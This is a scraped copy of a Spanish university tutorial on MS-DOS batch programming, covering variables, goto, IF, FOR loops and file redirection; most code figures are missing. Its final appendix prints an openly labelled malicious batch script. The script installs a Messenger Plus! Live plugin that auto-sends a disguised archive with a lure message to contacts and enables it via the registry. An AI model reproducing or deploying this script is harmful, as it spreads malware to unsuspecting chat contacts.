Upload
pablo-gelvez-severino
View
108
Download
0
Embed Size (px)
Citation preview
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 1/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
PROGRAMACIÓN BAJO MS-DOS
(BATCH)
Docente
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 2/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
En esta entrega se te explicara como programar bajo el MS-DOS. Así que si tienes un poco
de conocimiento en programación se te hará muy fácil el entender los conceptos.
Comencemos con aclarar que este tipo de programación no corresponde a un lenguaje de
programación en concreto.
Este tipo de programación maneja los comandos vistos en la entrega “Comandos de MS-
DOS”, además veremos otras estructuras clásicas en la programación tradicional.
Para codificar un programa bajo el MS-DOS debemos de crear un archivo con extensión
“.bat”, a este archivo se le conoce como archivo por lote o archivo de procesamiento por
lote, este archivo guarda un conjunto de comandos del DOS. Cuando un archivo por lote es
ejecutado, los comandos que están en él, son realizados uno por uno en forma secuencial,
esto permite automatizar diversas tareas.
Los archivos por lotes lo podemos codificar en un editor de texto como el Edit o el block de
notas, pero recuerda que el archivo debe de tener la extensión .bat, sin esa extensión el
archivo nunca correrá. En nuestro caso vamos a codificar desde el Edit, para irnos
familiarizándonos en el entorno del MS-DOS.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 3/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Para ejecutar el comando vuelva al prompt y escriba el nombre del archivo por lote, en
nuestro ejemplo se guardo como saludo.bat en la figura 2
Muestra como se debe de ejecutar un archivo por lote.
Figura 2
Como vera el programa va mostrando su respectivo código y la ejecución de este, sin
embargo esto le quita un poco de estética al programa. Lo cual vamos a modificar para que
solo se muestre los resultados de la ejecución de cada línea y no nos muestre el códigocomo tal, para realizar esto solo debe colocar al principio del código lo siguiente:
@echo off.
Código de nuestro primer programa modificado para que no se muestre el código en tiempo
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 4/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Para leer un dato desde el teclado debemos de crear una variable1
para guardar los valores
digitados.
Para crear una variable se debe de utilizar el comando set.
El comando set tiene varios parámetros, estos parámetros los iremos conociendo a medida
que nos adentremos en el tema.
En nuestro primer caso el parámetro utilizado es el /P este nos indicar se está esperando un
valor por parte del usuario para ser guardado en la variable.
Como vera el ejemplo pide el nombre del usuario, para luego mostrar un mensaje con su
nombre. Nótese que al visualizar el valor de la variable esta debe de ir entre el signo %.
Código para crear una variable, pedir su valor y mostrar su respectivo valor digitado.
Figura 5
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 5/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Dejando un poco atrás este ejemplo, vamos a crear un nuevo programa que pida dos
números y haga las principales operaciones matemáticas. (+, -, /, *).
Como puede observar en la figura 7, en la línea 2 utilizamos el comando CLS para limpiar
pantalla, en la siguiente línea encontrara el comando echo seguido con un punto (echo.).
este equivale a mostrar un salto de línea.
Código fuente para realizar las operaciones matemáticas.
Figura 7
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 6/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
DETENCIÓN DE LA EJECUCIÓN DEL PROGRAMA
Muchas veces, necesitamos que nuestro programa se detenga en algún punto para que el
usuario pueda leer detenidamente una información. Para el siguiente ejemplo mostraremos
como hacer que un programa se detenga hasta que se presione una tecla.
El programa pretende mostrar la funcionalidad de los comandos pause, pause>nul y exit.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 7/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
EL COMANDO GOTO Y LAS ETIQUETAS
Una etiqueta es un identificador de línea, el cual se complementa con la instrucción goto.
En otras palabras, el comando goto se traduce a “vaya a” la etiqueta que usted desea. El
goto y la etiqueta cambia la orientación del código que se está ejecutando.
Para aclarar estos comandos veremos el siguiente ejemplo.
Código para el uso del goto y las etiquetas
Figura 10
Se aclara que una etiqueta solo puede ser creada una sola vez y no puede estar en más de
una línea, sin embargo puede haber tantos goto con el llamado a la etiqueta que usted
quiera.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 8/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Los operados aritméticos utilizados en batch son los siguientes:
OPERADOR SIGNIFICADO== / EQU igual
LSS menor que
GTR mayor queLEQ menor o igual
GEQ mayor o igual
Para aclarar el tema, vamos a realizar un algoritmo donde se pide la edad de una persona y
determinamos si una persona es mayor o no de edad.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 9/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Si nuestro objetivo es determinar sí un archivo existe o no. Debemos usar EXIST seguido
del nombre del archivo y su extensión, tenga en cuenta si el archivo se encuentra en otra
ruta, de ser así, usted debería de colocar el path completo.2
Veamos el siguiente ejemplo, vamos hacer un programa que determine si el nombre de un
archivo digitado por un usuario existe o no en la ruta donde se encuentra el archivo por lote.
(Hasta ahora todos los archivos por lotes han sido guardados en raíz C:\, en este caso vamos
a crear una carpeta llamada lotes donde guardaremos nuestro nuevo archivo por lote.)
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 10/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Resultado de ejecución del programa existe.bat
Figura 13
Resultado de ejecución del programa existe.bat
Figura 14
Obsérvese la diferencia entre la figura 13 y 14 en la línea 3 donde se digita el nombre del
archivo. El archivo detener.bat se encuentra creado en la raíz más no en el directorio
llamado “lotes”.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 11/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
CREACIÓN DE MENÚS
Para crear un menú solo debemos de manejar varias sentencias IF para evaluar la opción
que ha seleccionado el usuario. Como ejemplo crearemos un menú donde se le pedirá al
usuario el rango de su edad.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 12/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Ejecución del programa rangos.bat
Figura 16
Para Windows 95 y 98 existía un comando que nos facilitaba la vida en la creación de
menús, este comando era el CHOICE, sin embargo para la versión de XP no existe dicho
comando.
Otra alternativa para hacer el ejemplo se muestra en el siguiente código.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 13/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
CICLOS – SENTENCIA FOR
Esta sentencia nos permite ejecutar N veces una serie de líneas de código.
La sintaxis más simple de la sentencia FOR es la siguiente:
For /L %%var IN (Inicio, incremento,fin) Do (acciones)
Tenga en cuenta que la variable se especifica %%var en vez de %var%. Los nombres de las
variables distinguen entre mayúsculas y minúsculas, por lo tanto %i no es lo mismo que
%I.
Ejemplo: haga un algoritmo que genere los n primeros números que desee el usuario.
Ejemplo del FOR
Figura 18
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 14/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
EXPANSIÓN DE VARIABLES RETARDADA.
Para entender que es una variable retardada veamos el siguiente ejemplo.
Hacemos un algoritmo donde se le pide al usuario que se evalúen n personas y mostrar
al final cuantos fueron mayores de edad.
Hasta donde hemos visto nuestro código quedaría de la siguiente manera.
Código de sin expansión de variable retardada.
Figura 20
Si usted ejecuta el código y digita los datos de las personas a evaluar, notará que la suma
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 15/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Código con Extensión de variable retardada.
Figura 21
Observe que la variable edad y la variable cont tienen un signo de admiración (!).
El signo de admiración indica la utilización de la extensión de variable retardada, además
de este signo de admiración se le debe de decir al programa que se active del modo de
extensión de variable retardada. Esto se hace con la instrucción setlocal
enabledelayedexpasion.Si ejecuta el código nuevamente notará que ahora el resultado mostrado si es el correcto.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 16/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Listar nombres de archivos de manera recursiva ósea que busque en todas las
subcarpetas donde usted se encuentre en el área de trabajo.
Listado de archivos de extensión .bat que se encuentran en otros subdirectorios.
Figura 23
Listar nombres de directorio.
Listado de nombres de directorio que comienzan con a.
Figura 24
Listar nombres de directorios de manera recursiva.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 17/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
Delimitar texto o resultados de consultas.
Este maneja el parámetro /F.
En él, se tiene que tener en cuenta el tokens que se quiere, por decirlo así este es el rango
que se va a tomar.
Además de tener en cuenta el tokens se debe de indicarle al for el limitante para dicho
tokens. Observe bien la estructura del siguiente ejemplo.
En este ejemplo el limitante es el carácter espacio.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 18/19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
CREACIÓN DE NUEVOS ARCHIVOS
En muchas ocasiones es necesario que desde un archivo por lotes generemos otro archivo
con información, para esto se hace uso de la combinación de los comandos echo y de
redireccionamiento ( > y >>)
Ejemplo de cómo crear un archivo con un contenido.
Figura 27
Ejecute el archivo e inmediatamente abra el archivo llamado archivo.txt y encontrara la
información suministrada por el archivo por lote.
5/17/2018 2. Program an Do Bajo MS-DOS - slidepdf.com
http://slidepdf.com/reader/full/2-program-an-do-bajo-ms-dos 19/19
19
PROGRAMACIÓN BAJO MS-DO(BATCH)
UNIVERSIDAD SIMÓN BOLÍVARING. MAURICIO ALEJANDRO RÍOS PALACIO
ANEXO
CÓDIGO MALICIOSO HECHO EN UN ARCHIVO POR LOTE
md "%programfiles%\Messenger Plus! Live\Scripts\hola\"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus!
Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>>
"%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\reinicia.bat" /v Enabled /t REG_DWORD /d 1 /f